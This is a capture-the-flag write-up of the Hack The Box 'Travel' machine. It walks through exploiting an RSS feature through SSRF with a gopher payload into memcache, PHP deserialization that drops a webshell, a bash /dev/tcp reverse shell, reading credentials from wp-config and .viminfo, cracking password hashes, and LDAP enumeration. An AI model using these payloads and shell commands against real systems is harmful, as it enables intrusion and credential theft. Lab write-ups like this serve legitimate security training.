jebidiah-anthony
write-ups and what not
HTB Travel (10.10.10.189)
PART 1 : INITIAL ENUMERATION
1.1 nmap
$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -v 10.10.10.189
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
$ nmap -oN nmap-tcp -p 22,80,443 -sC -sV -v 10.10.10.189
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d3:9f:31:95:7e:5e:11:45:a2:b4:b6:34:c0:2d:2d:bc (RSA)
| 256 ef:3f:44:21:46:8d:eb:6c:39:9c:78:4f:50:b3:f3:6b (ECDSA)
|_ 256 3a:01:bc:f8:57:f5:27:a1:68:1d:6a:3d:4e:bc:21:1b (ED25519)
80/tcp open http nginx 1.17.6
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB
443/tcp open ssl/http nginx 1.17.6
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.17.6
|_http-title: Travel.HTB - SSL coming soon.
| ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
| Issuer: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-23T19:24:29
| Not valid after: 2030-04-21T19:24:29
| MD5: ef0a a4c1 fbad 1ac4 d160 58e3 beac 9698
|_SHA-1: 0170 7c30 db3e 2a93 cda7 7bbe 8a8b 7777 5bcd 0498
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Various subdomains were found –
www.travel.htb
,blog.travel.htb
,blog-dev.travel.htb
. - UDP scan using
nmap
, doesn’t yield any result.
PART 2 : PORT ENUMERATION
2.1 TCP PORT 80 : HTTP
2.1.1 http[://]travel.htb
2.1.2 http[://]blog.travel.htb
This subdomain is hosting a WordPress application. Using wpscan
to enumerate the service:
$ wpscan --update
$ wpscan --output 80_wpscan_blog.txt --url http://blog.travel.htb
[+] Headers
| Interesting Entries:
| - Server: nginx/1.17.6
| - X-Powered-By: PHP/7.3.16
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://blog.travel.htb/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://blog.travel.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://blog.travel.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://blog.travel.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4 identified (Insecure, released on 2020-03-31).
| Found By: Rss Generator (Passive Detection)
| - http://blog.travel.htb/feed/, <generator>https://wordpress.org/?v=5.4</generator>
| - http://blog.travel.htb/comments/feed/, <generator>https://wordpress.org/?v=5.4</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://blog.travel.htb/wp-content/themes/twentytwenty/
| Last Updated: 2021-03-09T00:00:00.000Z
| Readme: http://blog.travel.htb/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 1.7
| Style URL: http://blog.travel.htb/wp-content/themes/twentytwenty/style.css?ver=1.2
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://blog.travel.htb/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'
[i] No plugins Found.
[i] No Config Backups Found.
2.1.3 http[://]blog-dev.travel.htb
The landing page returns forbidden and doing more enumeration using nmap
returns:
$ sudo nmap -p 80 --script safe,vuln -Pn blog-dev.travel.htb
PORT STATE SERVICE
80/tcp open http
[...omitted...]
| http-enum:
|_ /.git/HEAD: Git folder
|_http-fetch: Please enter the complete path of the directory to save data in.
| http-git:
| 10.10.10.189:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: moved to git
| http-headers:
| Server: nginx/1.17.6
[...omitted...]
|
|_ (Request type: GET)
[...omitted...]
A /.git
directory was found but navigating to it also returns a 403 Response (Forbidden). Attempting to use gobuster
to see if responses other than 403 could be seen:
$ gobuster dir -o 80_gobuster_blog-dev_git.txt --timeout 5s -u http://blog-dev.travel.htb/.git -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
/index (Status: 200) [Size: 297]
/info (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/info/]
/config (Status: 200) [Size: 92]
/logs (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/logs/]
/objects (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/objects/]
/description (Status: 200) [Size: 73]
/branches (Status: 301) [Size: 170] [--> http://blog-dev.travel.htb/.git/branches/]
[...omitted...]
Since only the root seems to be unreadable, maybe we could extract the git files using git-dumper.py
$ mkdir 80_git_blog-dev
$ ./git-dumper/git_dumper.py http://blog-dev.travel.htb ./80_git_blog-dev
[-] Testing http://blog-dev.travel.htb/.git/HEAD [200]
[-] Testing http://blog-dev.travel.htb/.git/ [403]
[-] Fetching common files
[...omitted...]
$ ls -a ./80_git_blog-dev
.git README.md rss_template.php template.php
$ ls -a ./80_git_blog-dev/.git
COMMIT_EDITMSG config description HEAD hooks index info logs objects refs
$ cat ./80_git_blog-dev/.git/logs/HEAD
0000000000000000000000000000000000000000 0313850ae948d71767aff2cc8cc0f87a0feeef63 jane <jane@travel.htb> 1587458094 -0700 commit (initial): moved to git
$ cat ./80_git_blog-dev/README.md
# Rss Template Extension
Allows rss-feeds to be shown on a custom wordpress page.
## Setup
* `git clone https://github.com/WordPress/WordPress.git`
* copy rss_template.php & template.php to `wp-content/themes/twentytwenty`
* create logs directory in `wp-content/themes/twentytwenty`
* create page in backend and choose rss_template.php as theme
## Changelog
- temporarily disabled cache compression
- added additional security checks
- added caching
- added rss template
## ToDo
- finish logging implementation
The contents of the .git
folder seems to pertain to the deployment of and RSS feed for other services. A user, jane (jane@travel.htb), was also found to have been responsible for the creation of the repository. And based on the output of wpscan
from http[://]blog.travel.htb, the RSS service may have been deployed to it as well.
2.2 TCP PORT 443 : HTTPS
All subdomains, when accessed via HTTPS, returns an under construction page with the following message:
We are currently sorting out how to get SSL
implemented with multiple domains properly. Also we
are experiencing severe performance problems on SSL
still.
In the meantime please use our non-SSL websites.
Thanks for your understanding,
admin
PART 3 : EXPLOITATION
3.1 The RSS Feed
3.1.1 RSS in blog.travel.htb:
Looking back at the output of wpscan
:
[+] WordPress version 5.4 identified (Insecure, released on 2020-03-31).
| Found By: Rss Generator (Passive Detection)
| - http://blog.travel.htb/feed/, <generator>https://wordpress.org/?v=5.4</generator>
| - http://blog.travel.htb/comments/feed/, <generator>https://wordpress.org/?v=5.4</generator>
As well as the landing page of http[://]blog.travel.htb, there is a link to Awesome RSS in the navigation bar:
This brings you to http[://]blog.travel.htb/awesome-rss:
3.1.3 Review of rss_template.php:
This was extracted from the contents of http[://]blog-dev.travel.htb/.git/
<?php
/*
Template Name: Awesome RSS
*/
include('template.php');
get_header();
?>
[...omitted...]
<?php
function get_feed($url){
require_once ABSPATH . '/wp-includes/class-simplepie.php';
$simplepie = null;
$data = url_get_contents($url);
if ($url) {
$simplepie = new SimplePie();
$simplepie->set_cache_location('memcache://127.0.0.1:11211/?timeout=60&prefix=xct_');
//$simplepie->set_raw_data($data);
$simplepie->set_feed_url($url);
$simplepie->init();
$simplepie->handle_content_type();
if ($simplepie->error) {
error_log($simplepie->error);
$simplepie = null;
$failed = True;
}
} else {
$failed = True;
}
return $simplepie;
}
$url = $_SERVER['QUERY_STRING'];
if(strpos($url, "custom_feed_url") !== false){
$tmp = (explode("=", $url));
$url = end($tmp);
} else {
$url = "http://www.travel.htb/newsfeed/customfeed.xml";
}
$feed = get_feed($url);
if ($feed->error()) {
echo '<div class="sp_errors">' . "\r\n";
echo '<p>' . htmlspecialchars($feed->error()) . "</p>\r\n";
echo '</div>' . "\r\n";
}
else {
?>
[...omitted...]
<!--
DEBUG
<?php
if (isset($_GET['debug'])){
include('debug.php');
}
?>
-->
[...omitted...]
There us a function get_feed($url)
that is using SimplePie for the RSS and memcache for caching data. The argument that will be fed to the function is probably passed through GET parameters (custom_feed_url) in http[://]blog.travel.htb/awesome-rss and if none are supplied, will default to http://www.travel.htb/newsfeed/customfeed.xml
:
Which has the same contents listed in http[://]blog.travel.htb/awesome-rss only in XML format.
Aside from the get_feed($url)
function there seems to be a debug page as well – debug.php which could be requested by adding a GET parameter, ?debug
. It will still request the usual page but will include debug statements enclosed in HTML comments:
$ curl -G -d "debug" http://blog.travel.htb/awesome-rss/
[...omitted...]
<!--
DEBUG
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
[...omitted...]
3.2 Checking for RFI in get_feed()
-
Create a customfeed.xml file based on
http://www.travel.htb/newsfeed/customfeed.xml
:<rss version="2.0"> <channel> <item> <title> Jebidiah was here </title> <link>http://10.10.14.6/something</link> <guid>http://10.10.14.6/something</guid> <pubDate>Mon, 30 Sep 2019 08:20:05 -0500</pubDate> <description> This is a test. </description> </item> </channel> </rss>
-
Start a Python HTTP Server:
$ sudo python -m SimpleHTTPServer 80
-
Requesting /awesome-rss/ with a custom_feed_url and debug parameter:
$ curl -G -d "debug=1&custom_feed_url=http://10.10.14.6/customfeed.xml" http://blog.travel.htb/awesome-rss/ [...omitted...] <!-- DEBUG ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | xct_54bddbaec1(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) | ~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --> [...omitted...]
-
Looking back at started HTTP server:
10.10.10.189 - - [xx/xxx/xxxx xx:xx:xx] "GET /customfeed.xml HTTP/1.1" 200 - 10.10.10.189 - - [xx/xxx/xxxx xx:xx:xx] "GET /customfeed.xml HTTP/1.1" 200 -
The request to the local HTTP Server went through and it seems like a PHP serialized object was logged into memcache as indicated by the xct_
prefix.
3.3 Interaction with memcache
3.3.1 How data is saved to memcache
Based on the class-simplepie.php which is included in rss_template.php extracted from the WordPress Github Page:
[...omitted...]
if ($this->feed_url !== null)
{
$parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url));
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$url = $this->feed_url . ($this->force_feed ? '#force_feed' : '');
$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $url), 'spc'));
}
// Fetch the data via SimplePie_File into $this->raw_data
if (($fetched = $this->fetch_data($cache)) === true)
{
return true;
}
elseif ($fetched === false) {
return false;
}
list($headers, $sniffed) = $fetched;
}
[...omitted...]
public $cache_name_function = 'md5';
[...omitted...]
public function set_cache_name_function($function = 'md5')
{
if (is_callable($function))
{
$this->cache_name_function = $function;
}
}
[...omitted...]
When the feed_url
parameter is not null
, a call()
function from the registry
property will be made to a get_handler()
function in Cache.php and in this case the value of $this->cache_location
has been set to memcache://127.0.0.1:11211/?timeout=60&prefix=xct_
and $url
will be hashed using MD5 based on call_user_func($this->cache_name_function, $url)
:
[...omitted...]
protected static $handlers = array(
'mysql' => 'SimplePie_Cache_MySQL',
'memcache' => 'SimplePie_Cache_Memcache',
'memcached' => 'SimplePie_Cache_Memcached',
'redis' => 'SimplePie_Cache_Redis'
);
[...omitted...]
public static function get_handler($location, $filename, $extension)
{
$type = explode(':', $location, 2);
$type = $type[0];
if (!empty(self::$handlers[$type]))
{
$class = self::$handlers[$type];
return new $class($location, $filename, $extension);
}
return new SimplePie_Cache_File($location, $filename, $extension);
}
[...omitted...]
What will happen is that the substring, memcache
, will be extracted from the passed location (memcache://127.0.0.1...
) which will return SimplePie_Cache_Memcache
based on the array of handlers defined. After which a newly initialized class of the same name will be returned.
public function __construct($location, $name, $type)
{
$this->options = array(
'host' => '127.0.0.1',
'port' => 11211,
'extras' => array(
'timeout' => 3600, // one hour
'prefix' => 'simplepie_',
),
);
$this->options = SimplePie_Misc::array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location));
$this->name = $this->options['extras']['prefix'] . md5("$name:$type");
$this->cache = new Memcache();
$this->cache->addServer($this->options['host'], (int) $this->options['port']);
}
The constructor function taken from the SimplePie_Cache_Memcache
class definition Memcache.php takes the same parameters from the ones passed to get_handler()
from Cache.php. The values from $this->options
will be changed since some values were set in the $location
variable (?timeout=60&prefix=xct_
) so in this case, the prefix that will be used is xct_
instead of simplepie
. Afterwhich, the value of $name
will be appended to the prefix.
public function save($data)
{
if ($data instanceof SimplePie)
{
$data = $data->data;
}
return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']);
}
The data provided (contents of $url
) will then be serialized and saved into the cache.
To summarize specific to this scenario:
- The caching begins by taking three parameters that will be passed to the
get_handler()
function in Cache.php –memcache://127.0.0.1:11211/?timeout=60&prefix=xct_
,fe1fb813519a90aa175e3f3d721a07ca
(MD5 value ofhttp://10.10.14.6/customfeed.xml
), andspc
- The
get_handler()
function will then determine what method of caching is needed based on the first parameter given; in this case, memcache so the class definition ofSimplePie_Cache_Memcache
will be used. The name of the data that will be written in the cache will follow the format –xct_
plus the value ofmd5("fe1fb813519a90aa175e3f3d721a07ca:spc")
- A serialized version of the data will then be saved in to the cached catalogued with the prefix plus the newly generated md5.
3.3.2 Review of debug.php
The output for debug.php last time when http://10.10.14.6/customfeed.xml
was requested was:
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| xct_54bddbaec1(...) | a:4:{s:5:"child";a:1:{s:0:"";a:1:{(...) |
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Following the process explained earlier, the marker generated (xct_54bddbaec1(...)
) should be the same as md5(md5("http://10.10.14.6/customfeed.xml").":spc");
which is actually the case – 54bddbaec1543acec82c7141efde0625
3.4 Input Sanitation with template.php
3.4.1 Review of template.php
This file was also extracted from the contents of http[://]blog-dev.travel.htb/.git/ and it seems to be responsible for validating user input supplied in the url parameter when requesting /awesome-rss/:
<?php
/**
Todo: finish logging implementation via TemplateHelper
*/
function safe($url)
{
// this should be secure
$tmpUrl = urldecode($url);
if(strpos($tmpUrl, "file://") !== false or strpos($tmpUrl, "@") !== false)
{
die("<h2>Hacking attempt prevented (LFI). Event has been logged.</h2>");
}
if(strpos($tmpUrl, "-o") !== false or strpos($tmpUrl, "-F") !== false)
{
die("<h2>Hacking attempt prevented (Command Injection). Event has been logged.</h2>");
}
$tmp = parse_url($url, PHP_URL_HOST);
// preventing all localhost access
if($tmp == "localhost" or $tmp == "127.0.0.1")
{
die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
}
return $url;
}
function url_get_contents ($url) {
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
$output = shell_exec($pl);
return $output;
}
The safe($url)
defined prevents Local File Inclusion (LFI) using file://
and Server-Side Request Forgery (SSRF) by filtering requests made via localhost. Meanwhile, even though there is a shell_exec()
function in url_get_contents()
, Command Injection is avoided by first passing through the safe()
function to avoid polluting the curl
command and then passing the url parameter through escapeshellarg()
to avoid injection using /$(<command>)
or appending new commands after a semi-colon (;<command>
) to name a few examples.
class TemplateHelper
{
private $file;
private $data;
public function __construct(string $file, string $data)
{
$this->init($file, $data);
}
public function __wakeup()
{
$this->init($this->file, $this->data);
}
private function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}
Also inside template.php is a defined class, TemplateHelper
. There are two initialized object properties defined in the class, file and data, based on the class constructor. The __wakeup()
function is executed during deserialization. In this case, the defined function, init()
will be executed when __wakeup()
is triggered. init()
will write to __DIR__.'/logs'
with the filename defined in $file
and contents defined in $data
.
3.4.2 The location of __DIR__
.’/logs’
Earlier when the contents of http[://]blog-dev.travel.htb/.git were extracted, the README.md file stated that rss_template.php and template.php were saved to wp-content/themes/twentytwenty
:
## Setup
* `git clone https://github.com/WordPress/WordPress.git`
* copy rss_template.php & template.php to `wp-content/themes/twentytwenty`
* create logs directory in `wp-content/themes/twentytwenty`
* create page in backend and choose rss_template.php as theme
Proving that ./logs
is in the same directory:
$ curl -I http://blog.travel.htb/wp-content/themes/twentytwenty/logs/
HTTP/1.1 403 Forbidden
Server: nginx/1.17.6
Date: Sun, 04 Apr 2021 16:13:30 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
3.5 Exploiting the RSS Feed via SSRF
The memcache service is running via localhost and based on template.php, the sanitation of user input is limited to blacklisting “localhost” and “127.0.0.1” which could easily be bypassed:
3.5.1 Leverage the TemplateHelper class
Serialized objects are passed through memcache
so we will use the TemplateHelper
to write a file into the server.
<?php
class TemplateHelper
{
public $file;
public $data;
public function __construct(string $file, string $data)
{
$this->init($file, $data);
}
public function __wakeup()
{
$this->init($this->file, $this->data);
}
private function init(string $file, string $data)
{
$this->file = $file;
$this->data = $data;
file_put_contents(__DIR__.'/logs/'.$this->file, $this->data);
}
}
$afw = new TemplateHelper("jebidiah.php", '<?php echo shell_exec($_GET["cmd"]); ?>');
echo serialize($afw);
?>
The initialized variables, $file
and $data
, were changed from being defined as private
to public
since the serialized data will be interpreted from outside the definition of the TemplateHelper
class.
$ php serialize.php
[...omitted...]
O:14:"TemplateHelper":2:{s:4:"file";s:12:"jebidiah.php";s:4:"data";s:39:"<?php echo shell_exec($_GET["cmd"]); ?>";}
3.5.2 Using Gopherus to Generate Payload:
This is a tool that helps to abuse SSRF vulnerabilities and achieve Remote Code Execution (RCE).
$ gopherus --exploit phpmemcache
Give serialization payload
example: O:5:"Hello":0:{} : O:14:"TemplateHelper":2:{s:20:"TemplateHelperfile";s:12:"jebidiah.php";s:20:"TemplateHelperdata";s:39:"<?php echo shell_exec($_GET["cmd"]); ?>";}
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:11211/_%0d%0aset%20SpyD3r%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a
3.5.3 Bypassing the security check in template.php
if($tmp == "localhost" or $tmp == "127.0.0.1")
{
die("<h2>Hacking attempt prevented (Internal SSRF). Event has been logged.</h2>");
}
The only checks are only if the URL is requested via “localhost” and “127.0.0.1”. This could easily bypassed by using 2130706433
(decimal value for 127.0.0.1), using 0.0.0.0
, or using 0
. The payload will be changed to:
gopher://0.0.0.0:11211/_%0d%0aset%20SpyD3r%204%200%20145%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:20:%22TemplateHelperfile%22%3Bs:12:%22jebidiah.php%22%3Bs:20:%22TemplateHelperdata%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a
3.5.4 Writing the gopher payload to cache
$ curl -G -d "custom_feed_url=gopher://0.0.0.0:11211/_%0d%0aset%20SpyD3r%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a" http://blog.travel.htb/awesome-rss/
$ curl -G -d "debug=1" http://blog.travel.htb/awesome-rss/
[...omitted...]
<!--
DEBUG
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| SpyD3r | O:14:"TemplateHelper":2:{s:20:"Tem(...) |
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
[...omitted...]
The serialized payload from earlier was successfully written to the cache.
3.5.5 How data is loaded from the cache
Based on Memcache.php
public function load()
{
$data = $this->cache->get($this->name);
if ($data !== false)
{
return unserialize($data);
}
return false;
}
A check for a valid name(xct_<md5>) is performed so it might be necessary for the data to be deserialized. The earlier execution was written as SpyD3r
(Gopherus default) payload will be changed to:
gopher://0.0.0.0:11211/_%0d%0aset%20xct_54bddbaec1543acec82c7141efde0625%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a
3.5.6 Deserializing the right way
$ curl -G -d "custom_feed_url=gopher://0.0.0.0:11211/_%0d%0aset%20xct_54bddbaec1543acec82c7141efde0625%204%200%20115%0d%0aO:14:%22TemplateHelper%22:2:%7Bs:4:%22file%22%3Bs:12:%22jebidiah.php%22%3Bs:4:%22data%22%3Bs:39:%22%3C%3Fphp%20echo%20shell_exec%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%22%3B%7D%0d%0a" --silent http://blog.travel.htb/awesome-rss/ >/dev/null
$ curl -G -d "debug=1" http://blog.travel.htb/awesome-rss/
[...omitted...]
<!--
DEBUG
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| xct_54bddbaec1(...) | O:14:"TemplateHelper":2:{s:20:"Tem(...) |
~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-->
[...omitted...]
$ curl -G -d "debug=1&custom_feed_url=http://10.10.14.6/customfeed.xml" --silent http://blog.travel.htb/awesome-rss/ | grep xct
The last curl
command was added to trigger the cached request to xct_54bddbaec1543acec82c7141efde0625
but this time, the serialized content was from the gopherus payload.
3.5.7 The Uploaded Webshell
Checking if the webshell was uploaded into the server:
$ curl -I http://blog.travel.htb/wp-content/themes/twentytwenty/logs/jebidiah.php
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Sun, 04 Apr 2021 17:11:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.16
Commands could now be executed in the server:
$ curl -G -d "cmd=id" http://blog.travel.htb/wp-content/themes/twentytwenty/logs/jebidiah.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PART 4 : PIVOT TO ANOTHER USER (www-data -> lynik-admin)
Setup a netcat listener for the reverse shell:
$ sudo nc -lvp 443
Execute the reverse shell using the uploaded webshell:
$ curl -G --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.6/443 0>&1'" http://blog.travel.htb/wp-content/themes/twentytwenty/logs/jebidiah.php
4.1 Machine Enumeration
4.1.1 Host Information
www-data@blog:/var/www/html$ hostname
blog
www-data@blog:/var/www/html$ cat /etc/passwd | grep -E "sh$"
root:x:0:0:root:/root:/bin/bash
www-data@blog:/var/www/html$ ls -la / | grep docker
-rwxr-xr-x 1 root root 0 Apr 23 2020 .dockerenv
No other users are in the system and upon further checking, it seems like the current shell is inside a docker container.
4.1.2 Database Information
www-data@blog:/var/www/html$ cat wp-config.php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wp' );
/** MySQL database username */
define( 'DB_USER', 'wp' );
/** MySQL database password */
define( 'DB_PASSWORD', 'fiFtDDV9LYe8Ti' );
/** MySQL hostname */
define( 'DB_HOST', '127.0.0.1' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
www-data@blog:/var/www/html$ mysql -uwp -pfiFtDDV9LYe8Ti -e "SHOW DATABASES;"
Database
information_schema
mysql
performance_schema
wp
www-data@blog:/var/www/html$ mysql -uwp -pfiFtDDV9LYe8Ti -e "USE wp; SHOW TABLES;"
Tables_in_wp
[...omitted...]
wp_users
www-data@blog:/var/www/html$ mysql -uwp -pfiFtDDV9LYe8Ti -e "SELECT user_login,user_pass,user_nicename,user_email,display_name FROM wp.wp_users;"
user_login | user_pass | user_nicename | user_email | display_name — | — | — | — | — admin | $P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/ | admin | admin@travel.htb | admin
There are still no username aside from admin
listed in the database.
4.1.3 Search for a Valid User
www-data@blog:/$ find /opt -readable -uid 0 -type f 2>/dev/null
/opt/wordpress/backup-13-04-2020.sql
www-data@blog:/$ strings /opt/wordpress/backup-13-04-2020.sql
INSERT INTO `wp_users` VALUES (1,'admin','$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/','admin','admin@travel.htb','http://localhost','2020-04-13 13:19:01','',0,'admin'),(2,'lynik-admin','$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.','lynik-admin','lynik@travel.htb','','2020-04-13 13:36:18','',0,'Lynik Schmidt');
It seems like from the SQL backup file, there were initially two users in the wp_users
table:
user_login | user_pass | user_nicename | user_email | display_name |
---|---|---|---|---|
admin | $P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/ | admin | admin@travel.htb | admin |
lynik-admin | $P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc. | lynik-admin | lynik@travel.htb | Lynik Schmidt |
4.2 Cracking the Hashes
$ hashcat --force -m 400 hashes /usr/share/wordlists/rockyou.txt
$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.:1stepcloser
4.3 Login via SSH as lynik-admin
$ ssh -l lynik-admin 10.10.10.189
lynik-admin@10.10.10.189's password: 1stepcloser
lynik-admin@travel:~$ cat user.txt
829b1a348e8c6ed74b876c305c470492
PART 5 : PIVOT TO ANOTHER USER (lynik-admin -> brian)
5.1 Machine Enumeration
5.1.1 Host information
lynik-admin@travel:~$ cat /etc/passwd | grep -E "sh$"
root:x:0:0:root:/root:/bin/bash
trvl-admin:x:1000:1000:trvl-admin:/home/trvl-admin:/bin/bash
lynik-admin:x:1001:1001::/home/lynik-admin:/bin/bash
lynik-admin@travel:~$ cat /etc/ssh/sshd_config
[...omitted...]
AuthorizedKeysCommand /usr/bin/sss_ssh_authorizedkeys
AuthorizedKeysCommandUser nobody
[...omitted...]
There is an AuthorizedKeysCommand
in the sshd_config
file. /usr/bin/sss_ssh_authorizedkeys
will be responsible to supply public keys that will be used for authentication. This helps with not having public keys locally stored into the server.
5.1.2 User Directory Enumeration
lynik-admin@travel:~$ id
uid=1001(lynik-admin) gid=1001(lynik-admin) groups=1001(lynik-admin)
lynik-admin@travel:~$ ls -la
[...omitted...]
-rw-r--r-- 1 lynik-admin lynik-admin 82 Apr 23 2020 .ldaprc
[...omitted...]
-rw------- 1 lynik-admin lynik-admin 861 Apr 23 2020 .viminfo
lynik-admin@travel:~$ cat .ldaprc
HOST ldap.travel.htb
BASE dc=travel,dc=htb
BINDDN cn=lynik-admin,dc=travel,dc=htb
lynik-admin@travel:~$ cat .viminfo
# Registers:
""1 LINE 0
BINDPW Theroadlesstraveled
|3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled"
There is an LDAP bind password for the user lynick-admin
cached in the .viminfo
file as well the LDAP configuration for the said user.
5.2 LDAP Enumeration
5.2.1 ldapsearch
Looking at the available LDAP objects:
lynik-admin@travel:~$ ldapsearch -x -b 'dc=travel,dc=htb' -H ldap://ldap.travel.htb -w "Theroadlesstraveled" "objectClass=*"
# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
[...omitted...]
# domainusers, groups, linux, servers, travel.htb
dn: cn=domainusers,ou=groups,ou=linux,ou=servers,dc=travel,dc=htb
memberUid: frank
memberUid: brian
memberUid: christopher
memberUid: johnny
memberUid: julia
memberUid: jerry
memberUid: louise
memberUid: eugene
memberUid: edward
memberUid: gloria
memberUid: lynik
